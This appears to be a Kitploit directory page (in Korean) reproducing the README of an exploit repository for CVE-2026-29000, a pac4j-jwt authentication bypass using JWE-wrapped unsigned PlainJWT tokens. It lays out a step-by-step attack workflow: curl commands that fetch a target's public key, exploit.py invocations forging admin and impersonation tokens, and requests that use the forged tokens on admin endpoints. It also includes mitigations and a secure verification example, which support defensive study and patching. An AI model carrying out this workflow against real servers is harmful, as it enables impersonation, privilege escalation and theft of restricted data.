Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-29000 — CVE-2026-29000에 대한 익스플로잇으로, JWE로 래핑된 PlainJWT를 통한 pac4j-jwt의 JWT 인증 우회로 토큰 위조 및 권한 상승을 허용합니다. | Kitploit
도구/GitHubGitHub/rootx111/cve-2026-29000
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubrootx111/cve-2026-29000

cve-2026-29000

CVE-2026-29000에 대한 익스플로잇으로, JWE로 래핑된 PlainJWT를 통한 pac4j-jwt의 JWT 인증 우회로 토큰 위조 및 권한 상승을 허용합니다.

저장소 보기
2166개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-29000 익스플로잇

pac4j-jwt의 JWE로 래핑된 PlainJWT를 통한 JWT 인증 우회

취약점 설명

CVE-2026-29000은 pac4j-jwt 4.5.9, 5.7.9, 6.3.3 이전 버전에 영향을 미치는 심각한 인증 우회 취약점입니다. 이 취약점으로 인해 원격 공격자가 인증 토큰을 위조하고 서명 검증을 우회할 수 있습니다.

기술적 세부 사항

이 취약점은 암호화된 JWT(JWE)를 처리할 때 JwtAuthenticator 구성 요소에 존재합니다. JWE 토큰이 수신되면:

  1. 서버는 RSA 개인 키를 사용하여 JWE를 복호화합니다
  2. 복호화된 콘텐츠에서 내부 JWT가 드러납니다
  3. 취약점: 서버는 내부 JWT의 서명을 검증하지 않고 클레임을 추출합니다
  4. 공격자는 임의의 클레임이 포함된 PlainJWT(알고리즘: "none")를 래핑한 JWE를 제작할 수 있습니다

공격 요구 사항

  • 서버의 RSA 공개 키에 대한 접근 권한(종종 JWKS 엔드포인트를 통해 노출됨)
  • 취약한 애플리케이션에 제작된 토큰을 전송할 수 있는 능력

영향

  • 완전한 인증 우회: 공격자는 모든 사용자로 인증할 수 있습니다
  • 권한 상승: 관리자 역할을 포함한 임의의 역할을 할당할 수 있습니다
  • 세션 하이재킹: 자격 증명 없이 합법적인 사용자를 사칭할 수 있습니다

영향을 받는 버전

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

저장소 구성

  • exploit.py - 악성 토큰을 생성하는 Python 익스플로잇 스크립트
  • vulnerable_server.py - 취약점을 시뮬레이션하는 데모 서버
  • requirements.txt - Python 종속성
  • README.md - 이 파일

설치

사전 요구 사항

  • Python 3.8 이상
  • pip 패키지 관리자

설정

root@kitploit:~
# 저장소 클론
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# 종속성 설치
pip3 install -r requirements.txt

사용법

1단계: 취약한 테스트 서버 시작

root@kitploit:~
python3 vulnerable_server.py

서버는 다음을 수행합니다:

  • RSA 키 쌍 생성(server_private.pem 및 server_public.pem에 저장)
  • http://127.0.0.1:5000에서 시작
  • http://127.0.0.1:5000/public-key에서 공개 키 노출

2단계: 대상의 공개 키 획득

실제 공격 시나리오에서는 대상 서버에서 공개 키를 획득합니다:

root@kitploit:~
# JWKS 엔드포인트에서 공개 키 다운로드
curl http://target-server.com/jwks > target_jwks.json

# 또는 직접 공개 키 엔드포인트
curl http://target-server.com/public-key > target_public.pem

테스트 서버의 경우:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

3단계: 악성 토큰 생성

익스플로잇 스크립트를 사용하여 JWE로 래핑된 PlainJWT를 생성합니다:

root@kitploit:~
# 기본 사용법 - admin으로 인증
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# 여러 역할을 가진 특정 사용자로 인증
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# 사용자 정의 클레임 추가
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# 토큰을 파일로 저장
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

4단계: 공격 테스트

취약한 서버 대상 테스트

root@kitploit:~
# 악성 토큰 설정 (exploit.py 출력에서 복사)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# 공개 엔드포인트 접근 (정상 동작)
curl http://127.0.0.1:5000/api/public

# 악성 토큰으로 사용자 엔드포인트 접근 (우회 성공!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 악성 토큰으로 관리자 엔드포인트 접근 (권한 상승!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

관리자 엔드포인트에서 기대되는 성공 출력:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

전체 공격 워크플로우

전체 테스트 명령

root@kitploit:~
# 1. 종속성 설치
pip3 install -r requirements.txt

# 2. 취약한 서버 시작 (터미널 1)
python3 vulnerable_server.py

# 3. 새 터미널에서 공개 키 획득
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. 악성 admin 토큰 생성
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. 토큰을 변수로 추출
TOKEN=$(cat token.txt)

# 6. 공개 엔드포인트 테스트 (기준 - 인증 불필요)
curl http://127.0.0.1:5000/api/public

# 7. 사용자 엔드포인트 테스트 (악성 토큰으로 성공해야 함)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. 관리자 엔드포인트 테스트 (익스플로잇 성공 - 제한된 데이터에 접근해야 함)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. 응답에 플래그가 포함되어 있는지 확인
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

고급 공격 시나리오

시나리오 1: 특정 사용자 사칭

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

시나리오 2: 관리자로 권한 상승

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

시나리오 3: 사용자 정의 클레임 주입

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

익스플로잇 스크립트 옵션

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

취약점 작동 방식

정상 JWT 흐름 (안전)

root@kitploit:~
1. 클라이언트가 서명이 포함된 JWT 전송
2. 서버가 공개 키로 서명 검증
3. 유효하면 클레임 추출
4. 클레임 기반으로 접근 권한 부여

취약한 흐름 (CVE-2026-29000)

root@kitploit:~
1. 공격자가 서버의 RSA 공개 키 획득
2. 공격자가 임의의 클레임이 포함된 PlainJWT(alg: none) 생성
   예: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. 공격자가 서버의 공개 키로 JWE를 사용하여 PlainJWT 암호화
4. 서버가 JWE를 성공적으로 복호화
5. 서버가 내부 PlainJWT에서 서명 검증 없이 클레임 추출
6. 서버가 위조된 클레임 기반으로 접근 권한 부여

작동 이유

취약점은 다음 이유로 발생합니다:

  • JWE는 내부 콘텐츠에 대해 기밀성만 제공하고 무결성은 제공하지 않습니다
  • 서버는 복호화 성공이 진위성을 의미한다고 가정합니다
  • PlainJWT(alg: none)는 검증할 서명이 없습니다
  • 클레임은 암호화되었다는 이유만으로 신뢰됩니다

완화 조치

개발자용

  1. pac4j-jwt를 4.5.9, 5.7.9, 6.3.3 이상 버전으로 업데이트
  2. JWE 복호화 후 항상 내부 JWT의 서명 검증
  3. PlainJWT 토큰 거부 (알고리즘: "none")
  4. JWT 헤더의 알고리즘을 허용 목록과 대조하여 검증

시스템 관리자용

  1. 취약한 애플리케이션을 즉시 업데이트
  2. 의심스러운 활동이 있는지 인증 로그 감사
  3. 사용자 세션 검토 및 의심스러운 토큰 폐기
  4. 추가 인증 계층 구현 고려

안전한 구현

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. JWE 복호화
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. 내부 JWT 헤더 파싱
    header = parse_jwt_header(inner_jwt)

    # 3. 중요: 알고리즘이 "none"이 아닌지 확인
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. 중요: 내부 JWT의 서명 검증
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. 검증 후에만 클레임 추출
    return extract_claims(inner_jwt)

테스트 체크리스트

  • 종속성 설치: pip3 install -r requirements.txt
  • 취약한 서버 시작: python3 vulnerable_server.py
  • 공개 키 획득: curl http://127.0.0.1:5000/public-key > server_public.pem
  • 악성 토큰 생성: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • 공개 엔드포인트 테스트: curl http://127.0.0.1:5000/api/public
  • 토큰으로 사용자 엔드포인트 테스트: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • 토큰으로 관리자 엔드포인트 테스트: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

빠른 시작 가이드

root@kitploit:~
# 원라이너 설정 및 테스트
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

참고 자료

  • CVE-2026-29000 권고
  • pac4j 보안 권고
  • OWASP JWT 보안 치트 시트
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

면책 조항

이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구는 소유한 시스템이나 테스트 권한이 명시적으로 부여된 시스템에만 사용하십시오.

라이선스

MIT 라이선스 - 교육 목적으로만 사용

작성자

보안 연구원 날짜: 2026-03-16

도구 다운로드
  • 플래그 획득 확인: FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} 찾기